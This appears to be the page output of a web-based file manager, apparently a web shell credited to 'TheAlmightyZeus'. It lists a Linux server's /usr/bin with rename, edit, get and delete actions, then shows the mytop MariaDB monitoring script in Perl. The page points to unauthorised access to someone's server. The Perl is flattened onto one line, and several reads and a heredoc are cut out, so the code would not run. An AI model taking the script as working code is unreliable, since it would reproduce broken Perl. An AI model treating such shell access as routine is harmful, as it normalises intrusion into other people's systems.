shuf 58.969 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
sieve 31.891 KB -rwxr-xr-x 2020-11-19 05:02 R E G D
skill 30.227 KB -rwxr-xr-x 2021-04-06 07:17 R E G D
slabtop 22.227 KB -rwxr-xr-x 2021-04-06 07:17 R E G D
sleep 42.781 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
slogin 778.789 KB -rwxr-xr-x 2025-05-08 11:03 R E G D
snice 30.227 KB -rwxr-xr-x 2021-04-06 07:17 R E G D
socat 397.93 KB -rwxr-xr-x 2021-02-03 12:58 R E G D
soelim 46.352 KB -rwxr-xr-x 2021-01-27 09:42 R E G D
sort 115.633 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
splain 18.956 KB -rwxr-xr-x 2024-10-20 21:53 R E G D
split 59.469 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
ss 177.063 KB -rwxr-xr-x 2021-02-05 23:34 R E G D
ssh 778.789 KB -rwxr-xr-x 2025-05-08 11:03 R E G D
ssh-add 366.125 KB -rwxr-xr-x 2025-05-08 11:03 R E G D
ssh-agent 346.133 KB -rwxr-sr-x 2025-05-08 11:03 R E G D
ssh-argv0 1.421 KB -rwxr-xr-x 2025-04-29 13:14 R E G D
ssh-copy-id 10.693 KB -rwxr-xr-x 2025-05-08 11:03 R E G D
ssh-keygen 474.195 KB -rwxr-xr-x 2025-05-08 11:03 R E G D
ssh-keyscan 458.227 KB -rwxr-xr-x 2025-05-08 11:03 R E G D
stat 83.188 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
stdbuf 50.844 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
streamzip 5.392 KB -rwxr-xr-x 2024-10-20 21:53 R E G D
stty 82.938 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
su 70.227 KB -rwsr-xr-x 2024-03-28 10:09 R E G D
sudo 178.32 KB -rwsr-xr-x 2025-06-26 17:03 R E G D
sudoedit 178.32 KB -rwsr-xr-x 2025-06-26 17:03 R E G D
sudoreplay 115.391 KB -rwxr-xr-x 2025-06-26 17:03 R E G D
sum 46.883 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
sync 38.813 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
systemctl 1.02 MB -rwxr-xr-x 2025-06-26 00:44 R E G D
systemd 1.66 MB -rwxr-xr-x 2025-06-26 00:44 R E G D
systemd-analyze 1.62 MB -rwxr-xr-x 2025-06-26 00:44 R E G D
systemd-ask-password 14.328 KB -rwxr-xr-x 2025-06-26 00:44 R E G D
systemd-cat 14.219 KB -rwxr-xr-x 2025-06-26 00:44 R E G D
systemd-cgls 18.32 KB -rwxr-xr-x 2025-06-26 00:44 R E G D
systemd-cgtop 34.234 KB -rwxr-xr-x 2025-06-26 00:44 R E G D
systemd-delta 26.219 KB -rwxr-xr-x 2025-06-26 00:44 R E G D
systemd-detect-virt 14.211 KB -rwxr-xr-x 2025-06-26 00:44 R E G D
systemd-escape 18.211 KB -rwxr-xr-x 2025-06-26 00:44 R E G D
systemd-hwdb 110.516 KB -rwxr-xr-x 2025-06-26 00:44 R E G D
systemd-id128 22.211 KB -rwxr-xr-x 2025-06-26 00:44 R E G D
systemd-inhibit 22.234 KB -rwxr-xr-x 2025-06-26 00:44 R E G D
systemd-machine-id-setup 22.313 KB -rwxr-xr-x 2025-06-26 00:44 R E G D
systemd-mount 50.438 KB -rwxr-xr-x 2025-06-26 00:44 R E G D
systemd-notify 18.219 KB -rwxr-xr-x 2025-06-26 00:44 R E G D
systemd-path 18.211 KB -rwxr-xr-x 2025-06-26 00:44 R E G D
systemd-resolve 126.367 KB -rwxr-xr-x 2025-06-26 00:44 R E G D
systemd-run 54.414 KB -rwxr-xr-x 2025-06-26 00:44 R E G D
systemd-socket-activate 26.219 KB -rwxr-xr-x 2025-06-26 00:44 R E G D
systemd-stdio-bridge 18.219 KB -rwxr-xr-x 2025-06-26 00:44 R E G D
systemd-sysusers 54.523 KB -rwxr-xr-x 2025-06-26 00:44 R E G D
systemd-tmpfiles 86.414 KB -rwxr-xr-x 2025-06-26 00:44 R E G D
systemd-tty-ask-password-agent 30.219 KB -rwxr-xr-x 2025-06-26 00:44 R E G D
systemd-umount 50.438 KB -rwxr-xr-x 2025-06-26 00:44 R E G D
tabs 18.148 KB -rwxr-xr-x 2023-05-26 18:31 R E G D
tac 106.969 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
tail 75.063 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
tar 519.461 KB -rwxr-xr-x 2024-01-20 09:59 R E G D
taskset 34.227 KB -rwxr-xr-x 2024-03-28 10:09 R E G D
tbl 142.352 KB -rwxr-xr-x 2021-01-27 09:42 R E G D
tcpdump 1.2 MB -rwxr-xr-x 2022-05-22 16:22 R E G D
tee 42.875 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
tempfile 14.117 KB -rwxr-xr-x 2020-09-27 17:25 R E G D
test 54.813 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
tic 90.266 KB -rwxr-xr-x 2023-05-26 18:31 R E G D
timedatectl 42.211 KB -rwxr-xr-x 2025-06-26 00:44 R E G D
timeout 43.406 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
tload 14.234 KB -rwxr-xr-x 2021-04-06 07:17 R E G D
toe 22.148 KB -rwxr-xr-x 2023-05-26 18:31 R E G D
top 122.07 KB -rwxr-xr-x 2021-04-06 07:17 R E G D
touch 99.031 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
tput 26.18 KB -rwxr-xr-x 2023-05-26 18:31 R E G D
tr 54.844 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
traceproto 2.817 KB -rwxr-xr-x 2022-12-29 07:27 R E G D
traceproto.db 2.817 KB -rwxr-xr-x 2022-12-29 07:27 R E G D
traceroute 71.156 KB -rwxr-xr-x 2022-12-29 07:27 R E G D
traceroute-nanog 1.58 KB -rwxr-xr-x 2022-12-29 07:27 R E G D
traceroute.db 71.156 KB -rwxr-xr-x 2022-12-29 07:27 R E G D
traceroute6 71.156 KB -rwxr-xr-x 2022-12-29 07:27 R E G D
traceroute6.db 71.156 KB -rwxr-xr-x 2022-12-29 07:27 R E G D
tree 79.602 KB -rwxr-xr-x 2019-08-06 19:31 R E G D
troff 751.75 KB -rwxr-xr-x 2021-01-27 09:42 R E G D
true 38.75 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
truncate 42.813 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
tset 30.156 KB -rwxr-xr-x 2023-05-26 18:31 R E G D
tsort 54.813 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
tty 38.781 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
tzselect 14.993 KB -rwxr-xr-x 2025-05-27 10:40 R E G D
ubuntu-cloudimg-query 8.383 KB -rwxr-xr-x 2020-05-28 22:11 R E G D
ucf 40.908 KB -rwxr-xr-x 2025-01-16 16:53 R E G D
ucfq 18.913 KB -rwxr-xr-x 2025-01-16 16:53 R E G D
ucfr 10.468 KB -rwxr-xr-x 2025-01-16 16:53 R E G D
udevadm 1021.094 KB -rwxr-xr-x 2025-06-26 00:44 R E G D
ul 22.227 KB -rwxr-xr-x 2024-03-28 10:09 R E G D
umount 34.219 KB -rwsr-xr-x 2024-03-28 10:09 R E G D
uname 38.813 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
unattended-upgrade 97.214 KB -rwxr-xr-x 2021-02-19 12:11 R E G D
unattended-upgrades 97.214 KB -rwxr-xr-x 2021-02-19 12:11 R E G D
uncompress 2.291 KB -rwxr-xr-x 2022-04-10 05:50 R E G D
unexpand 42.844 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
uniq 50.906 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
unlink 38.75 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
unlzma 79.289 KB -rwxr-xr-x 2022-04-11 14:36 R E G D
unmkinitramfs 3.59 KB -rwxr-xr-x 2021-01-14 18:04 R E G D
unshare 46.461 KB -rwxr-xr-x 2024-03-28 10:09 R E G D
unxz 79.289 KB -rwxr-xr-x 2022-04-11 14:36 R E G D
update-alternatives 58.086 KB -rwxr-xr-x 2023-09-13 21:38 R E G D
update-mime-database 59.188 KB -rwxr-xr-x 2020-10-09 17:26 R E G D
uptime 14.219 KB -rwxr-xr-x 2021-04-06 07:17 R E G D
users 38.813 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
utmpdump 30.227 KB -rwxr-xr-x 2024-03-28 10:09 R E G D
uuidgen 14.227 KB -rwxr-xr-x 2024-03-28 10:09 R E G D
uuidparse 38.227 KB -rwxr-xr-x 2024-03-28 10:09 R E G D
vcs-run 6.75 KB -rwxr-xr-x 2020-05-28 22:11 R E G D
vdir 143.727 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
vi 3.03 MB -rwxr-xr-x 2025-03-30 03:33 R E G D
view 3.03 MB -rwxr-xr-x 2025-03-30 03:33 R E G D
vim 3.03 MB -rwxr-xr-x 2025-03-30 03:33 R E G D
vim.basic 3.03 MB -rwxr-xr-x 2025-03-30 03:33 R E G D
vim.tiny 1.34 MB -rwxr-xr-x 2025-03-30 03:33 R E G D
vimdiff 3.03 MB -rwxr-xr-x 2025-03-30 03:33 R E G D
vimtutor 2.071 KB -rwxr-xr-x 2025-03-30 03:33 R E G D
vmstat 38.242 KB -rwxr-xr-x 2021-04-06 07:17 R E G D
w 22.219 KB -rwxr-xr-x 2021-04-06 07:17 R E G D
wall 34.227 KB -rwxr-xr-x 2024-03-28 10:09 R E G D
watch 26.602 KB -rwxr-xr-x 2021-04-06 07:17 R E G D
watchgnupg 18.148 KB -rwxr-xr-x 2022-07-01 07:03 R E G D
wc 46.945 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
wdctl 62.25 KB -rwxr-xr-x 2024-03-28 10:09 R E G D
wget 527.281 KB -rwxr-xr-x 2025-04-20 10:39 R E G D
whatis 51.203 KB -rwxr-xr-x 2021-02-19 10:14 R E G D
whereis 30.664 KB -rwxr-xr-x 2024-03-28 10:09 R E G D
which 0.924 KB -rwxr-xr-x 2020-09-27 17:25 R E G D
whiptail 26.703 KB -rwxr-xr-x 2020-12-08 01:18 R E G D
who 58.969 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
whoami 38.781 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
write 22.227 KB -rwxr-xr-x 2024-03-28 10:09 R E G D
write-mime-multipart 3.514 KB -rwxr-xr-x 2020-05-28 22:11 R E G D
write.ul 22.227 KB -rwxr-xr-x 2024-03-28 10:09 R E G D
wsrep_sst_backup 2.394 KB -rwxr-xr-x 2025-05-30 06:25 R E G D
wsrep_sst_common 66.822 KB -rwxr-xr-x 2025-05-30 06:25 R E G D
wsrep_sst_mariabackup 49.47 KB -rwxr-xr-x 2025-05-30 06:25 R E G D
wsrep_sst_mysqldump 8.088 KB -rwxr-xr-x 2025-05-30 06:25 R E G D
wsrep_sst_rsync 29.723 KB -rwxr-xr-x 2025-05-30 06:25 R E G D
wsrep_sst_rsync_wan 29.723 KB -rwxr-xr-x 2025-05-30 06:25 R E G D
x86_64 26.5 KB -rwxr-xr-x 2024-03-28 10:09 R E G D
xargs 74.367 KB -rwxr-xr-x 2021-01-09 17:36 R E G D
xsubpp 5.043 KB -rwxr-xr-x 2024-10-20 21:53 R E G D
xxd 18.117 KB -rwxr-xr-x 2025-03-30 03:33 R E G D
xz 79.289 KB -rwxr-xr-x 2022-04-11 14:36 R E G D
xzcat 79.289 KB -rwxr-xr-x 2022-04-11 14:36 R E G D
xzcmp 6.858 KB -rwxr-xr-x 2022-04-11 14:36 R E G D
xzdiff 6.858 KB -rwxr-xr-x 2022-04-11 14:36 R E G D
xzegrep 5.874 KB -rwxr-xr-x 2022-04-11 14:36 R E G D
xzfgrep 5.874 KB -rwxr-xr-x 2022-04-11 14:36 R E G D
xzgrep 5.874 KB -rwxr-xr-x 2022-04-11 14:36 R E G D
xzless 1.757 KB -rwxr-xr-x 2022-04-11 14:36 R E G D
xzmore 2.111 KB -rwxr-xr-x 2022-04-11 14:36 R E G D
yes 38.75 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
ypdomainname 22.07 KB -rwxr-xr-x 2019-11-07 11:31 R E G D
zcat 1.938 KB -rwxr-xr-x 2022-04-10 05:50 R E G D
zcmp 1.639 KB -rwxr-xr-x 2022-04-10 05:50 R E G D
zdiff 5.76 KB -rwxr-xr-x 2022-04-10 05:50 R E G D
zdump 22.398 KB -rwxr-xr-x 2025-05-27 10:40 R E G D
zegrep 0.028 KB -rwxr-xr-x 2022-04-10 05:50 R E G D
zfgrep 0.028 KB -rwxr-xr-x 2022-04-10 05:50 R E G D
zforce 2.032 KB -rwxr-xr-x 2022-04-10 05:50 R E G D
zgrep 7.86 KB -rwxr-xr-x 2022-04-10 05:50 R E G D
zipdetails 50.038 KB -rwxr-xr-x 2024-10-20 21:53 R E G D
zless 2.154 KB -rwxr-xr-x 2022-04-10 05:50 R E G D
zmore 1.799 KB -rwxr-xr-x 2022-04-10 05:50 R E G D
znew 4.47 KB -rwxr-xr-x 2022-04-10 05:50 R E G D
REQUEST EXIT
©TheAlmightyZeus
#!/usr/bin/perl # # $Id: mytop,v 1.99-maria6 2019/10/22 14:53:51 jweisbuch Exp $ =pod =head1 NAME mytop - display MariaDB/MySQL server performance info like `top' =cut ## most of the POD is at the bottom of the file use 5.005; use strict; use warnings; use DBI; use Getopt::Long; use Socket; use List::Util qw(min max); use File::Basename; $main::VERSION = "1.99-maria6"; my $path_for_script = dirname($0); $| = 1; $0 = 'mytop'; my $WIN = ($^O eq 'MSWin32') ? 1 : 0; ## Test for color support. eval { require Term::ANSIColor; }; my $HAS_COLOR = $@ ? 0 : 1; $HAS_COLOR = 0 if $WIN; ## Test of Time::HiRes support eval { require Time::HiRes }; my $HAS_TIME = $@ ? 0 : 1; my $debug = 0; ## Try to lower our priority (which, who, pri) setpriority(0,0,10) unless $WIN; ## Prototypes sub Clear(); sub GetData(); sub GetQPS(); sub FullQueryInfo($); sub Explain($); sub PrintTable(@); sub PrintHelp(); sub Sum(@); sub commify($); sub make_short($); sub Hashes($); sub Execute($); sub StringOrRegex($); sub GetInnoDBStatus(); sub GetCmdSummary(); sub GetShowVariables(); sub GetShowStatus(); sub cmd_s; sub cmd_S; sub cmd_q; ## Default Config Values my %config = ( batchmode => 0, color => 1, db => '', database => '', delay => 5, filter_user => qr/.?/, filter_db => qr/.?/, filter_host => qr/.?/, filter_state => qr/.?/, header => 1, help => 0, host => 'localhost', idle => 1, long => 120, long_nums => 0, mode => 'top', prompt => 0, pass => '', password => '', port => 3306, resolve => 0, slow => 10, ## slow query time socket => '', sort => 1, ## default or reverse sort ("s") user => 'root', fullqueries => 0, ## shows untruncated queries usercol_width => 8, ## User column width dbcol_width => 9, ## DB column width hide_progress => 0 ## hide the "%" column when available ); my %qcache = (); ## The query cache--used for full query info support. my %ucache = (); ## The user cache--used for full killing by user my %dbcache = (); ## The db cache. This should be merged at some point. my %statcache = (); ## The show status cache for GetShowStatus() my (%STATUS, %OLD_STATUS); # header stuff. my $CLEAR = $WIN ? '': `clear`; ## Term::ReadKey values my $RM_RESET = 0; my $RM_NOBLKRD = 3; ## using 4 traps Ctrl-C :-( ## Add options from .my.cnf first my $my_print_defaults; if (!defined($my_print_defaults=my_which("my_print_defaults"))) { print "Warning: Can't find my_print_defaults. Please add it to your PATH!\n"; exit(1); } unshift @ARGV, split "\n", `$my_print_defaults client mytop`; ## Read the user's config file, if it exists. my $config = "$ENV{HOME}/.mytop"; if (-e $config) { if (open CFG, "<$config") { while () { next if /^\s*($|#)/; ## skip blanks and comments chomp; if (/(\S+)\s*=\s*(.*\S)/) { my ($k, $v) = ($1, $2); if ($k =~ /^filter_/i) { $config{lc $k} = StringOrRegex($v) if exists $config{lc $k}; } else { $config{lc $k} = $v if exists $config{lc $k}; } } } close CFG; } ## map database/password onto db/pass ## short version gets precedence for historical reasons $config{'db'} = $config{'database'} unless $config{'db'}; $config{'pass'} = $config{'password'} unless $config{'pass'}; } ## Command-line args. use vars qw($opt_foo); Getopt::Long::Configure('no_ignore_case', 'bundling'); GetOptions( "color!" => \$config{color}, "user|u=s" => \$config{user}, "pass|password|p=s" => \$config{pass}, "database|db|d=s" => \$config{db}, "host|h=s" => \$config{host}, "port|P=i" => \$config{port}, "socket|S=s" => \$config{socket}, "delay|s=i" => \$config{delay}, "batch|batchmode|b" => \$config{batchmode}, "header!" => \$config{header}, "idle|i!" => \$config{idle}, "resolve|r!" => \$config{resolve}, "prompt!" => \$config{prompt}, "long=i" => \$config{long}, "long_nums!" => \$config{long_nums}, "mode|m=s" => \$config{mode}, "slow=i" => \$config{slow}, "sort=s" => \$config{sort}, "fullqueries|L!" => \$config{fullqueries}, "usercol_width=i" => \$config{usercol_width}, "dbcol_width=i" => \$config{dbcol_width}, "hide_progress|a!" => \$config{hide_progress} ); ## User may have put the port with the host. if ($config{host} =~ s/:(\d+)$//) { $config{port} = $1; } ## Don't use Term::ReadKey unless running interactively. if (not $config{batchmode}) { require Term::ReadKey; Term::ReadKey->import(); } ## User may want to disable color. if ($HAS_COLOR and not $config{color}) { $HAS_COLOR = 0; } if ($HAS_COLOR) { import Term::ANSIColor ':constants'; } else { *RESET = sub { }; *YELLOW = sub { }; *RED = sub { }; *MAGENTA = sub { }; *GREEN = sub { }; *BLUE = sub { }; *WHITE = sub { }; *BOLD = sub { }; } my $RESET = RESET() || ''; my $YELLOW = YELLOW() || ''; my $RED = RED() || ''; my $MAGENTA = MAGENTA() || ''; my $GREEN = GREEN() || ''; my $BLUE = BLUE() || ''; my $WHITE = WHITE() || ''; my $BOLD = BOLD() || ''; ## Connect my $dsn; ## Socket takes precedence. my $prefix= 'mysql'; if (eval {DBI->install_driver("MariaDB")}) { $dsn = "DBI:MariaDB:database=$config{db};mariadb_read_default_group=mytop;"; $prefix= 'mariadb' } else { $dsn = "DBI:mysql:database=$config{db};mysql_read_default_group=mytop;"; } if ($config{socket} and -S $config{socket}) { $dsn .= "${prefix}_socket=$config{socket}"; } else { $dsn .= "host=$config{host};port=$config{port}"; } if ($config{prompt}) { print "Password: "; ReadMode(2); chomp($config{pass} = ); ReadMode(0); print "\n"; } my $dbh = DBI->connect($dsn, $config{user}, $config{pass}, { PrintError => 0 }); if (not ref $dbh) { my $Error = <{Variable_name} eq "version") { $db_version = $_->{Value}; $db_version =~ /^(\d+)/; $db_release = $1; $server = "MariaDB" if ($db_version =~ /maria/i); # Get the version number only $db_version = $1 if($db_version =~ m/(.*?)-/); next; } if ($_->{Variable_name} eq "have_query_cache") { if ($_->{Value} ne 'NO') { $have_query_cache = 1; } else { $have_query_cache = 0; } next; } } my ($has_is_processlist, $has_time_ms, $has_progress); $has_is_processlist = $has_time_ms = $has_progress = 0; ## Check if the server has the INFORMATION_SCHEMA.PROCESSLIST table ## for backward compatibility $has_is_processlist = Execute("SELECT /*mytop*/ 1 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = 'information_schema' AND TABLE_NAME = 'PROCESSLIST';")->rows; if ($has_is_processlist == 1) { ## Check if the server has the TIME_MS column on the I_S.PROCESSLIST table ## If it is the case, it will fetch the query time with decimal precision ## for queries that has been running for less than 10k seconds $has_time_ms = Execute("SELECT /*mytop*/ 1 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA = 'information_schema' AND TABLE_NAME = 'PROCESSLIST' AND COLUMN_NAME = 'TIME_MS';")->rows; if ($has_time_ms == 1) { ## Check if the server has the STAGE column on the I_S.PROCESSLIST ## table (MariaDB) to retreive query completion information $has_progress = Execute("SELECT /*mytop*/ 1 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA = 'information_schema' AND TABLE_NAME = 'PROCESSLIST' AND COLUMN_NAME = 'STAGE';")->rows; } } ######################################################################### ## ## The main loop ## ######################################################################### ReadMode($RM_NOBLKRD) unless $config{batchmode}; while (1) { my $key; if ($config{mode} eq 'qps') { GetQPS(); $key = ReadKey(1); next unless $key; if ($key =~ /t/i) { $config{mode} = 'top'; } if ($key =~ /q/) { cmd_q(); } next; } if ($config{mode} eq 'top') { GetData(); last if $config{batchmode}; $key = ReadKey($config{delay}); next unless $key; } elsif ($config{mode} eq 'cmd') { GetCmdSummary(); last if $config{batchmode}; $key = ReadKey($config{delay}); next unless $key; } elsif ($config{mode} eq 'innodb') { GetInnoDBStatus(); last if $config{batchmode}; print "InnoDB Status [hit t to exit this mode or q to exit the application]\n"; $key = ReadKey($config{delay}); next unless $key; } elsif ($config{mode} eq 'status') { GetShowStatus(); last if $config{batchmode}; $key = ReadKey($config{delay}); next unless $key; } ## ## keystroke command processing (if we get this far) ## if ($key eq '!') { Execute("STOP /*mytop*/ SLAVE;"); Execute("SET /*mytop*/ GLOBAL sql_slave_skip_counter=1"); Execute("START /*mytop*/ SLAVE"); } # t - top if ($key =~ /t/i) { $config{mode} = 'top'; } ## q - quit if ($key eq 'q') { cmd_q(); } if ($key eq 'D') { require Data::Dumper; print Data::Dumper::Dumper([\%config]); ReadKey(0); } ## l - change long running hightling if ($key eq 'l') { cmd_l(); next; } ## m - mode switch to qps if ($key eq 'm') { $config{mode} = 'qps'; Clear() unless $config{batchmode}; print "Queries Per Second [hit t to exit this mode or q to exit the application]\n"; next; } ## c - mode switch to command summary if ($key eq 'c') { $config{mode} = 'cmd'; Clear() unless $config{batchmode}; print "Command Summary\n"; next; } ## C - change Color on and off if ($key eq 'C') { if ($HAS_COLOR) { $HAS_COLOR = 0; } else { $HAS_COLOR = 1; } } ## s - seconds of delay if ($key eq 's') { cmd_s(); next; } if ($key eq 'S') { cmd_S(); next; } ## R - resolve hostnames if ($key eq 'R') { if ($config{resolve}) { $config{resolve} = 0; } else { $config{resolve} = 1; } } ## t - username based filter if ($key eq 't') { ReadMode($RM_RESET); print RED(), "Which state (blank for all, /.../ for regex): ", RESET(); $config{filter_state} = StringOrRegex(ReadLine(0)); ReadMode($RM_NOBLKRD); next; } ## u - username based filter if ($key eq 'u') { ReadMode($RM_RESET); print RED(), "Which user (blank for all, /.../ for regex): ", RESET(); $config{filter_user} = StringOrRegex(ReadLine(0)); ReadMode($RM_NOBLKRD); next; } ## d - database name based filter if ($key eq 'd') { ReadMode($RM_RESET); print RED(), "Which database (blank for all, /.../ for regex): ", RESET(); $config{filter_db} = StringOrRegex(ReadLine(0)); ReadMode($RM_NOBLKRD); next; } ## h - hostname based filter if ($key eq 'h') { ReadMode($RM_RESET); print RED(), "Which hostname (blank for all, /.../ for regex): ", RESET(); $config{filter_host} = StringOrRegex(ReadLine(0)); ReadMode($RM_NOBLKRD); next; } ## E - Show full Replication Error if ($key eq 'E') { my ($data) = Hashes('SHOW /*mytop*/ SLAVE STATUS'); Clear(); print "Error is: $data->{Last_Error}\n"; print RED(), "-- paused. press any key to resume --", RESET(); ReadKey(0); next; } ## F - remove all filters if ($key eq 'F') { $config{filter_host} = qr/.?/; $config{filter_db} = qr/.?/; $config{filter_user} = qr/.?/; $config{filter_state} = qr/.?/; print RED(), "-- display unfiltered --", RESET(); sleep 1; next; } ## p - pause if ($key eq 'p') { print RED(), "-- paused. press any key to resume --", RESET(); ReadKey(0); next; } ## i - idle toggle if ($key =~ /i/) { if ($config{idle}) { $config{idle} = 0; $config{sort} = 1; print RED(), "-- idle (sleeping) processed filtered --", RESET(); sleep 1; } else { $config{idle} = 1; $config{sort} = 0; print RED(), "-- idle (sleeping) processed unfiltered --", RESET(); sleep 1; } } ## I - InnoDB status if ($key =~ 'I') { $config{mode} = 'innodb'; Clear() unless $config{batchmode}; print "InnoDB Status\n"; next; } ## o - sort order if ($key =~ /o/) { if ($config{sort}) { $config{sort} = 0; print RED(), "-- sort order reversed --", RESET(); sleep 1; } else { $config{sort} = 1; print RED(), "-- sort order reversed --", RESET(); sleep 1; } } ## ? - help if ($key eq '?') { Clear(); PrintHelp(); ReadKey(0); next; } ## k - kill if ($key eq 'k') { ReadMode($RM_RESET); print RED(), "Thread id to kill: ", RESET(); my $id = ReadLine(0); $id =~ s/\s//g; if ($id =~ /^\d+$/) { Execute("KILL /*mytop*/ $id"); } else { print RED(), "-- invalid thread id --", RESET(); sleep 1; } ReadMode($RM_NOBLKRD); next; } ## K - kill based on a username if ($key =~ /K/) { ReadMode($RM_RESET); print RED(), "User to kill: ", RESET(); my $user = ReadLine(0); $user =~ s/\s//g; if ($user =~ /^\S+$/) { for my $pid (keys %ucache) { next unless $ucache{$pid} eq $user; Execute("KILL /*mytop*/ $pid"); select(undef, undef, undef, 0.2); } } else { print RED(), "-- invalid thread id --", RESET(); sleep 1; } ReadMode($RM_NOBLKRD); } ## f - full info if ($key =~ /f/) { ReadMode($RM_RESET); print RED(), "Full query for which thread id: ", RESET(); my $id = ReadLine(0); chomp $id; FullQueryInfo($id); ReadMode($RM_NOBLKRD); print RED(), "-- paused. press any key to resume or (e) to explain --", RESET(); my $key = ReadKey(0); if ($key eq 'e') { Explain($id); print RED(), "-- paused. press any key to resume --", RESET(); ReadKey(0); } next; } ## e - explain if ($key =~ /e/) { ReadMode($RM_RESET); print RED(), "Explain which query (id): ", RESET(); my $id = ReadLine(0); chomp $id; Explain($id); ReadMode($RM_NOBLKRD); print RED(), "-- paused. press any key to resume --", RESET(); ReadKey(0); next; } ## r - reset status counters if ($key =~ /r/) { Execute("FLUSH /*mytop*/ STATUS"); print RED(), "-- counters reset --", RESET(); sleep 1; next; } ## H - header toggle if ($key eq 'H') { if ($config{header}) { $config{header} = 0; } else { $config{header}++; } } ## # - magic debug key if ($key eq '#') { $debug = 1; } if ($key eq 'V') { GetShowVariables(); print RED(), "-- paused. press any key to resume --", RESET(); ReadKey(0); } ## M - switch to SHOW STATUS mode if ($key eq 'M') { $config{mode} = 'status'; } ## L - full queries toggle if ($key eq 'L') { if ($config{fullqueries}) { $config{fullqueries} = 0; print RED(), "-- full queries OFF --", RESET(); sleep 1; } else { $config{fullqueries} = 1; print RED(), "-- full queries ON --", RESET(); sleep 1; } } ## w - change columns width for the "User" and "Database" columns if ($key eq 'w') { ReadMode($RM_RESET); print RED(), "Width for the 'User' column (the actual value is ". $config{usercol_width}."): "; my $readWidth = ReadLine(0); chomp($readWidth); if (defined($readWidth) && $readWidth ne "") { if ($readWidth > 4 && $readWidth < 60) { $config{usercol_width} = $readWidth; } else { print RED(), "-- Invalid value ($readWidth), the previous value". "has been kept, press a key to resume --"; ReadKey(0); } } print RESET(), RED(), "Width for the 'DB' column (the actual value is ". $config{dbcol_width}."): ", RESET(); $readWidth = ReadLine(0); chomp($readWidth); if (defined($readWidth) && $readWidth ne "") { if ($readWidth > 2 && $readWidth < 60) { $config{dbcol_width} = $readWidth } else { print RED(), "-- Invalid value ($readWidth), the previous value". "has been kept, press a key to resume --", RESET(); ReadKey(0); } } undef $readWidth; ReadMode($RM_NOBLKRD); next; } ## a - progress column toggle (the column is only displayed ## if progress information are available from the processlist) if ($key eq 'a') { if ($config{hide_progress}) { $config{hide_progress} = 0; print RED(), "-- progress display ON --", RESET(); sleep 1; } else { $config{hide_progress} = 1; print RED(), "-- progress display OFF --", RESET(); sleep 1; } } } ReadMode($RM_RESET) unless $config{batchmode}; exit; ####################################################################### sub Clear() { if (not $WIN) { print "$CLEAR" } else { print "\n" x 90; ## dumb hack for now. Anyone know how to ## clear the screen in dos window on a Win32 ## system?? } } my $last_time; sub GetData() { ## Get terminal info my $now_time; %qcache = (); ## recycle memory %dbcache = (); my ($width, $height, $wpx, $hpx, $lines_left); if (not $config{batchmode}) { ($width, $height, $wpx, $hpx) = GetTerminalSize(); $lines_left = $height - 2; } else { $height = 999_999; ## I hope you don't have more than that! $lines_left = 999_999; $width = 80; } ## ## Header stuff. ## if ($config{header}) { my @recs = ""; if ($db_release > 4) { @recs = Hashes("SHOW /*mytop*/ GLOBAL STATUS"); } else { @recs = Hashes("SHOW /*mytop*/ STATUS"); } ## if the server died or we lost connectivity if (not @recs) { ReadMode($RM_RESET); exit 1; } ## get high-res or low-res time my ($t_delta); if ($HAS_TIME) { $now_time = Time::HiRes::gettimeofday(); } else { $now_time = time; } if ($last_time and $last_time != $now_time) { $t_delta = $now_time - $last_time; } %OLD_STATUS = %STATUS; # Set some status that may not exist in all versions $STATUS{Handler_tmp_write} = 0; $STATUS{Handler_tmp_update} = 0; $STATUS{Rows_tmp_read} = 0; foreach my $ref (@recs) { my $key = $ref->{Variable_name}; my $val = $ref->{Value}; $STATUS{$key} = $val; } ## Compute Key Cache Hit Stats $STATUS{Key_read_requests} ||= 1; ## can't divide by zero next my $cache_hits_percent = (100-($STATUS{Key_reads}/$STATUS{Key_read_requests}) * 100); $cache_hits_percent = sprintf("%2.2f",$cache_hits_percent); ## Query Cache info for <= Ver. 4.1 ## ## mysql> show status like 'qcache%'; ## +-------------------------+----------+ ## | Variable_name | Value | ## +-------------------------+----------+ ## | Qcache_queries_in_cache | 81 | ## | Qcache_inserts | 4961668 | ## | Qcache_hits | 1374170 | ## | Qcache_not_cached | 5656249 | ## | Qcache_free_memory | 33164800 | ## | Qcache_free_blocks | 2 | ## | Qcache_total_blocks | 168 | ## +-------------------------+----------+ ## ## Query Cache info for => Ver. 5.0 ## ## mysql> show status like 'qcache%'; ## +-------------------------+------------+ ## | Variable_name | Value | ## +-------------------------+------------+ ## | Qcache_free_blocks | 37652 | ## | Qcache_free_memory | 110289712 | ## | Qcache_hits | 1460617356 | ## | Qcache_inserts | 390563495 | ## | Qcache_lowmem_prunes | 6414172 | ## | Qcache_not_cached | 93002420 | ## | Qcache_queries_in_cache | 66558 | ## | Qcache_total_blocks | 192031 | ## 